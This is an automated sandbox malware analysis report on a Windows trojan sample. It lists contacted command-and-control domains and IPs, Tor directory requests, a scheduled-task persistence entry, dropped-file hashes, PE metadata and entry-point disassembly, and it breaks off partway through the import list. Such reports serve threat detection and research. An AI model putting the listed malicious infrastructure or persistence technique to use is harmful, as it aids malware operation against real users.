gamelom20.com	0%	Avira URL Cloud	safe
https://386bsd.net	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api4.ipify.org	173.231.16.76	true	false		high
gamelom20.com	34.171.171.32	true	true	2%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://178.79.182.63/tor/server/fp/c86c538ef0a24e010342f30dbcacc2a7eb7ca833	false	Avira URL Cloud: safe	unknown
89.203.249.203	true	Avira URL Cloud: safe	unknown
http://178.79.182.63/tor/server/fp/cf1c1804c33cd69d8a75587fabc63d5d0e2980fa	false	Avira URL Cloud: safe	unknown
https://171.25.193.9/tor/status-vote/current/consensus	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://178.79.182.63/tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1	false	Avira URL Cloud: safe	unknown
http://193.23.244.244/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://178.79.182.63/tor/server/fp/cf1280a23969a8459625e80ed50cc2c0885ecd72	false	Avira URL Cloud: safe	unknown
http://178.79.182.63/tor/server/fp/cf230d27a28172429123dfee6476d9401e6c6fa8	false	Avira URL Cloud: safe	unknown
http://131.188.40.189/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://178.79.182.63/tor/server/fp/c873d9d8df3cb6a4f92b07a77193f1a13936477f	false	Avira URL Cloud: safe	unknown
http://178.79.182.63/tor/server/fp/99d65135d343eb8549b2d46c4ef8ca71c6c91add	false	Avira URL Cloud: safe	unknown
http://178.79.182.63/tor/server/fp/c84f248d3b24655cc96e17b3cf41e0b88d28947e	false	Avira URL Cloud: safe	unknown
gamelom20.com	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ip4.seeip.org/	R53a3ZJHBQ.exe, R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/https://ip4.seeip.org/runasMicrosoft	R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://386bsd.net	kdnku.exe, 00000001.00000003.357716877.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.565118689.0000000003410000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.351707375.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.357387824.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.348665561.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.354101353.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.356466957.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.489998006.0000000004770000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.349794496.0000000004950000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.346777055.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.345228804.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.349167946.0000000004770000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
171.25.193.9	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
58.185.69.245	unknown	Singapore	3758	SINGNETSingNetSG	false
178.79.182.63	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	false
89.203.249.203	unknown	Czech Republic	25512	CDT-ASTheCzechRepublicCZ	true
91.208.197.31	unknown	unknown	200019	ALEXHOSTMD	false
34.171.171.32	gamelom20.com	United States	2686	ATGS-MMD-ASUS	true
185.82.126.83	unknown	Latvia	52173	MAKONIXLV	false
104.237.62.211	unknown	United States	18450	WEBNXUS	false
154.35.175.225	unknown	United States	14987	RETHEMHOSTINGUS	false
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
217.170.197.121	unknown	Norway	34989	SERVETHEWORLD-ASNO	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false
190.120.229.196	unknown	unknown	270039	PRILZCOLOMBIASASCO	false
173.231.16.76	api4.ipify.org	United States	18450	WEBNXUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	839437
Start date and time:	2023-04-02 09:48:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	R53a3ZJHBQ.exe
Original Sample Name:	cc4f80bbbd81cf14599c74e9f8e970ac.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/3@6/14
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 20.3% (good quality ratio 20.3%) Quality average: 79% Quality standard deviation: 21.5%
HCA Information:	Successful, ratio: 98% Number of executed functions: 20 Number of non-executed functions: 45
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
09:49:03	API Interceptor	2x Sleep call for process: R53a3ZJHBQ.exe modified
09:49:04	Task Scheduler	Run new task: kdnku path: C:\ProgramData\micl\kdnku.exe s>start
09:49:05	API Interceptor	1x Sleep call for process: kdnku.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
171.25.193.9	x3WX1kHqcx.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	oGO7Hy4YCH.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9/tor/status-vote/current/consensus
	SPXp2YHDFz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	ILI1MGzcig.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	lwRhzjuYIg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	OVrJ9mtD6Y.exe	Get hash	malicious	TinyNuke	Browse	171.25.193.9/tor/status-vote/current/consensus
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	zfpLjnr5P9.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	kecFPnbu5K.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	SecuriteInfo.com.Trojan.Kronos.21.31435.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	530000.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	6d0000.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	6729001591617.exe	Get hash	malicious	Kronos	Browse	171.25.193.9/tor/status-vote/current/consensus
	NNrUb9Avaw.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	taugif.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	9WajXSHVwg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9/tor/status-vote/current/consensus
	62ea.exe	Get hash	malicious		Browse	171.25.193.9/tor/status-vote/current/consensus
	00.exe	Get hash	malicious		Browse	171.25.193.9/tor/status-vote/current/consensus
	.exe	Get hash	malicious		Browse	171.25.193.9/tor/status-vote/current/consensus

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gamelom20.com	PsNZLytUyV.exe	Get hash	malicious	SystemBC	Browse	89.203.249.203
api4.ipify.org	#U00d6nderGrup-2023,jpg.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	Wire_Transfer_Form.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	Para_Transferi_Bilgilendirmesi-Dekont_04.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	2023093845.scr.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	SecuriteInfo.com.IL.Trojan.MSILZilla.26597.28474.17508.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	173.231.16.76
	Quote_4907129.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	173.231.16.76
	DE356325424_POA_DHL.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	PO-22-0018058_pdf.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	IV22200102_30-03-2023.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	TT_SWIFT_COPY_$37,000.00.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	Mxo0wLZrDlsKQvv.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	64.185.227.155
	z1DHL_AWB_NO_AWB4507558646.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	1030_ITEMS.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	64.185.227.155
	Hesap_hareketleriniz.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	173.231.16.76
	stage5.bin.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.237.62.211
	main_payload.bin.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	U_sat#U0131n_alma_emri.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.237.62.211
	DHL_shipping_documents.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	64.185.227.155
	Garanti_Bbva_Havale_tavsiyesi_30032023_TL8985500800058.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	173.231.16.76
	5lAgIcYhV9.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	173.231.16.76

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGNETSingNetSG	z2KckmM8y3.elf	Get hash	malicious	Mirai, Moobot	Browse	58.185.137.15
	zdLUrwhh8o.elf	Get hash	malicious	Unknown	Browse	203.125.115.99
	powwnApQs1.elf	Get hash	malicious	Unknown	Browse	58.185.244.3
	1DdkoRmJug.elf	Get hash	malicious	Unknown	Browse	119.75.50.41
	nK2Tb6Zm62.elf	Get hash	malicious	Mirai	Browse	203.126.160.111
	Y67508ixMr.elf	Get hash	malicious	Mirai	Browse	203.125.18.113
	form.doc	Get hash	malicious	Emotet	Browse	128.106.1.0
	rih4uw6saZ.elf	Get hash	malicious	Mirai	Browse	203.126.146.95
	jklarm.elf	Get hash	malicious	Mirai	Browse	118.201.110.236
	Vhj1aH9Za8.elf	Get hash	malicious	Mirai	Browse	116.12.209.114
	A7iRQVLUXY.elf	Get hash	malicious	Mirai	Browse	165.21.122.133
	jew.x86.elf	Get hash	malicious	Mirai	Browse	58.185.137.33
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	58.185.137.34
	HYeyfkaF8T.elf	Get hash	malicious	Mirai, Moobot	Browse	165.21.0.218
	k1jSCsmH7y.elf	Get hash	malicious	Unknown	Browse	116.12.198.37
	uHJTidEkEo.elf	Get hash	malicious	Mirai	Browse	118.201.110.226
	4iLDIlbK8X.elf	Get hash	malicious	Mirai	Browse	42.61.40.254
	gnEpKaXZ3c.elf	Get hash	malicious	Mirai	Browse	119.73.220.249
	TyXSHEKOah.elf	Get hash	malicious	Unknown	Browse	203.126.195.55
	fV7AkeQRo5.elf	Get hash	malicious	Mirai	Browse	116.12.209.118
DFRI-ASForeningenfordigitalafri-ochrattigheterSE	x3WX1kHqcx.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9
	2N2jefqo8e.exe	Get hash	malicious	Wannacry, Conti	Browse	171.25.193.9
	oGO7Hy4YCH.exe	Get hash	malicious	SystemBC	Browse	171.25.193.9
	http://171.25.193.77	Get hash	malicious	Unknown	Browse	171.25.193.77
	puzykxm8rg.exe	Get hash	malicious	Amadey, RedLine, SmokeLoader	Browse	171.25.193.9
	SPXp2YHDFz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	ILI1MGzcig.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	hrgJ85rPgh.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	Yy6S2zcubl.exe	Get hash	malicious	Shade	Browse	171.25.193.9
	svchost.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	lwRhzjuYIg.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	tinynuke.exe	Get hash	malicious	Tinynuke / Nukebot	Browse	171.25.193.78
	MfgWK7o4wz.exe	Get hash	malicious	Unknown	Browse	171.25.193.9
	OVrJ9mtD6Y.exe	Get hash	malicious	TinyNuke	Browse	171.25.193.9
	F75rJPKdGb.exe	Get hash	malicious	Kronos	Browse	171.25.193.9
	ozJy5Zf5cf.exe	Get hash	malicious	Kronos	Browse	171.25.193.20
	NtA6ABwq75.exe	Get hash	malicious	CryptOne Shade	Browse	171.25.193.9
	IIfekfeu6C.exe	Get hash	malicious	CryptOne	Browse	171.25.193.9
	JNk46WKTxo.exe	Get hash	malicious	CryptOne	Browse	171.25.193.9
	y2N49ht6t4.exe	Get hash	malicious	CryptOne	Browse	171.25.193.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	WwrCrJEAqi.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	104.237.62.211 173.231.16.76
	z79t4br5CY.exe	Get hash	malicious	Gurcu Stealer	Browse	104.237.62.211 173.231.16.76
	#U00d6nderGrup-2023,jpg.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	Wire_Transfer_Form.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	PO21784.vbs	Get hash	malicious	XWorm	Browse	104.237.62.211 173.231.16.76
	Para_Transferi_Bilgilendirmesi-Dekont_04.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	XQYmh3N41N.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	104.237.62.211 173.231.16.76
	hFXekxaAEk.exe	Get hash	malicious	AESCRYPT Ransomware, Quasar	Browse	104.237.62.211 173.231.16.76
	2023093845.scr.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	nixware_inject.exe	Get hash	malicious	DCRat	Browse	104.237.62.211 173.231.16.76
	task24main.exe	Get hash	malicious	Unknown	Browse	104.237.62.211 173.231.16.76
	LISTEN2VOICEONEAUDIO.htm	Get hash	malicious	HTMLPhisher	Browse	104.237.62.211 173.231.16.76
	bLeJ.exe	Get hash	malicious	Njrat	Browse	104.237.62.211 173.231.16.76
	ATT00001.htm	Get hash	malicious	HTMLPhisher	Browse	104.237.62.211 173.231.16.76
	SecuriteInfo.com.IL.Trojan.MSILZilla.26597.28474.17508.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.237.62.211 173.231.16.76
	Quote_4907129.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.237.62.211 173.231.16.76
	DE356325424_POA_DHL.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	PO-22-0018058_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	IV22200102_30-03-2023.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76
	TT_SWIFT_COPY_$37,000.00.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211 173.231.16.76

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\micl\kdnku.exe

Download File

Process:	C:\Users\user\Desktop\R53a3ZJHBQ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	153600
Entropy (8bit):	6.225507473043968
Encrypted:	false
SSDEEP:	3072:v/0zSzwIPgTY2nTnIKAlrym0jzGtnOfLn6bdVsPH6:HJXPPAIKPmIgOzn6bkf6
MD5:	CC4F80BBBD81CF14599C74E9F8E970AC
SHA1:	C73B8E764BD16CC885143DEE674A18AC98A1199C
SHA-256:	1DC9A3C5D28E2E20B5BBBFD229A356EC88364280FA19ECDF0882A9533E7DE3B3
SHA-512:	74BEB8E33636186FEC989C47E7A91F6D1A33ACF450557BF1188B4160B841EDEDED890FB0CCBB04FFC80D4AECC463DA4AC70E224B2B4E762EAA5520003F7CFD5A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J..e..6..6..6a.#6..6a..6(.6a..6Q.6...6..6..6..6a..6..6a.'6..6a. 6..6Rich..6................PE..L....\|\.................J...<.......t.......`....@..........................@......,<......................................(P..<....................................................................................................................text....I.......J.................. ..`.data........`...R...N..............@....pavel.......p......................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\micl\kdnku.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\R53a3ZJHBQ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\kdnku.job

Download File

Process:	C:\Users\user\Desktop\R53a3ZJHBQ.exe
File Type:	data
Category:	modified
Size (bytes):	258
Entropy (8bit):	3.571341805632269
Encrypted:	false
SSDEEP:	6:7oWla/80e/RbhEZIWUelFOKc6toADRcF/llRZuy0lNl6/luFP1:faS/RbILcY6FHRQV3sqt
MD5:	07A84AF8705B5CA573E3003C967F7E4A
SHA1:	D600D8BE88EE82E44A2A033378A9DA834ABAF7AC
SHA-256:	4ADDEBCADBF7C0274182EE00A550F51601CB91173D0F4D850D37BA92329F973D
SHA-512:	B3B4FB10BB066A93AA566EBA9F3019E4DEE84E5DE1A0B0894D0698A2D4A77708A61418FE0C1CDE144C24BEAC98573269AA183FD97240EAD42197645F5BF330F9
Malicious:	false
Reputation:	low
Preview:	.......wxYzH.....K.JF.......<... .....\.........."......................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.m.i.c.l.\.k.d.n.k.u...e.x.e.....s.t.a.r.t.......D.E.S.K.T.O.P.-.7.1.6.T.7.7.1.\.j.o.n.e.s...................0.........K.......3.............................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.225507473043968
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	R53a3ZJHBQ.exe
File size:	153600
MD5:	cc4f80bbbd81cf14599c74e9f8e970ac
SHA1:	c73b8e764bd16cc885143dee674a18ac98a1199c
SHA256:	1dc9a3c5d28e2e20b5bbbfd229a356ec88364280fa19ecdf0882a9533e7de3b3
SHA512:	74beb8e33636186fec989c47e7a91f6d1a33acf450557bf1188b4160b841ededed890fb0ccbb04ffc80d4aecc463da4ac70e224b2b4e762eaa5520003f7cfd5a
SSDEEP:	3072:v/0zSzwIPgTY2nTnIKAlrym0jzGtnOfLn6bdVsPH6:HJXPPAIKPmIgOzn6bkf6
TLSH:	B3E39D2E3BA1D472D0236570A975C3B2262B7C725A38C98F37791F6E2F302C15AB5356
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J..e...6...6...6a.#6...6a..6(..6a..6Q..6...6...6...6...6a..6...6a.'6...6a. 6...6Rich...6................PE..L.....\|\...........

File Icon


Icon Hash:	c6c6dee6e7c4c6d1

Static PE Info

General

Entrypoint:	0x407497
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5C7CB3F3 [Mon Mar 4 05:13:23 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	6c71e5ef2e307960397b8ee58edbf067

Entrypoint Preview

Instruction
call 00007F845069AD82h
jmp 00007F845069704Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401290h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F84506971CEh
test byte ptr [eax], 00000008h
je 00007F84506971C9h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [004010F0h]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword ptr [004010E0h]
push edi
push dword ptr [033021F0h]
call esi
push dword ptr [033021ECh]
mov ebx, eax
mov dword ptr [ebp-04h], ebx
call esi
mov esi, eax
cmp esi, ebx
jc 00007F8450697247h
mov edi, esi
sub edi, ebx
lea eax, dword ptr [edi+04h]
cmp eax, 04h
jc 00007F8450697237h
push ebx
call 00007F845069AE6Bh
mov ebx, eax
lea eax, dword ptr [edi+04h]
pop ecx
cmp ebx, eax
jnc 00007F845069720Ah
mov eax, 00000800h
cmp ebx, eax
jnc 00007F84506971C4h
mov eax, ebx
add eax, ebx
cmp eax, ebx
jc 00007F84506971D1h
push eax
push dword ptr [ebp-04h]
call 00007F845069ADF9h
pop ecx
pop ecx
test eax, eax
jne 00007F84506971D8h
lea eax, dword ptr [ebx+10h]
cmp eax, ebx
jc 00007F8450697200h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15028	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2f08000	0xb5c0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1b0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x149e0	0x14a00	False	0.6885535037878788	data	7.073910947519333	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x16000	0x2ef0208	0x5200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pavel	0x2f07000	0x1	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2f08000	0xb5c0	0xb600	False	0.6192479395604396	data	6.099175826935817	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CAZADOTUTAFODIVASOHE	0x2f12a10	0x322	ASCII text, with very long lines (802), with no line terminators
RUFEFEXAKUBUPEXAXUKECAVIPENUVORI	0x2f12388	0x685	ASCII text, with very long lines (1669), with no line terminators
RT_ICON	0x2f084d0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f09378	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f09c20	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f0a2e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f0a850	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Georgian	Georgia
RT_ICON	0x2f0cdf8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Georgian	Georgia
RT_ICON	0x2f0dea0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Georgian	Georgia
RT_ICON	0x2f0e828	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Georgian	Georgia
RT_ICON	0x2f0ed08	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f0f3d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Georgian	Georgia
RT_ICON	0x2f0f938	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Georgian	Georgia
RT_ICON	0x2f11ee0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Georgian	Georgia
RT_STRING	0x2f12f08	0x2e4	data
RT_STRING	0x2f131f0	0x248	data
RT_STRING	0x2f13438	0x182	data
RT_GROUP_ICON	0x2f0ec90	0x76	data	Georgian	Georgia
RT_GROUP_ICON	0x2f12348	0x3e	data	Georgian	Georgia
RT_VERSION	0x2f12d38	0x1d0	data

Imports

DLL

Import

KERNEL32.dll

FindResourceExW, BuildCommDCBAndTimeoutsA, SetConsoleTextAttribute, ReadConsoleA, WaitNamedPipeA, GetCurrentProcess, ZombifyActCtx, SetDefaultCommConfigW, GetSystemWindowsDirectoryW, SetEvent, GetModuleHandleW, GetConsoleTitleA, GetWindowsDirectoryA, GetConsoleCP, GlobalAlloc, SetConsoleCP, lstrcpynA, LocalReAlloc, GetAtomNameW, ReadFile, GetDevicePowerState, VerifyVersionInfoW, InterlockedExchange, ReleaseActCtx, InterlockedFlushSList, GetProcAddress, AttachConsole, GetTapeStatus, HeapUnlock, SetConsoleCtrlHandler, HeapLock, GetTapeParameters, FoldStringW, GetCPInfoExA, ReadConsoleInputW, lstrcpyA, CommConfigDialogA, AllocConsole, TryEnterCriticalSection, CreateMutexW, GetFileAttributesA, HeapReAlloc, InterlockedIncrement, InterlockedDecrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, EncodePointer, DecodePointer, GetCommandLineW, HeapSetInformation, GetStartupInfoW, RaiseException, GetLastError, HeapFree, RtlUnwind, HeapAlloc, ExitProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, IsProcessorFeaturePresent, SetFilePointer, CloseHandle, WriteFile, GetStdHandle, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, TlsAlloc, 